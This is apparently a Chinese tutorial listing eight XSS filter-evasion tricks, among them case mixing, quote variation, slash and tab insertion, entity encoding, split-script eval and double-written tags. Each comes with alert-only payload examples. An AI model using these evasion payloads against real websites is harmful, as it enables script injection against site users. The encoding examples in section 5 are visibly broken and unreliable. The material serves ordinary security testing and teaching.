我们可以通过构造xss代码进行各种变形,以绕过xss过滤器的检测
1.大小写检测
将payload进行大小写转化
如<Img SRC='#' Onerror="alert(/xss/)"/>
<a HREF="javascript:alert(/xss/)">click me</a>
2.引号的使用
不断尝试双引号,单引号,与没有引号
如<img src="#" onerror="alert(/#/)">
<img src='#' onerror='alert(/#/)'>
<img src="#" onerror=alert(/#/)>
3.用[/]代替空格
可以用左斜线来代替空格
<img/src="#"/onerror="alert(/#/)"/>
4.回车
在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测
如<a href="j
a v
ascript:alert(/xss/)">click me!</a>
5.对标签属性值进行转写
如
字母 ASCII码 十进制编码 十六进制编码
a 97 a a
e 101 e e
可转化为十进制编码与十六进制编码
如<a href=jav=script:alert(/#/)>click me!</a>
可将以下字符插入到任意位置
Tab 	
换行 

回车 
也可以将以下字符串插入到头部位置
SOH 
STX 
6.拆分跨站
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>
7.不常用 css中的变形
(1)使用全角字符
(2)由于注释会被浏览器忽略,使用注释
(3)样式表中加[\]和[\0]
8.双写绕过
<script>
变为<scr<script>ipt>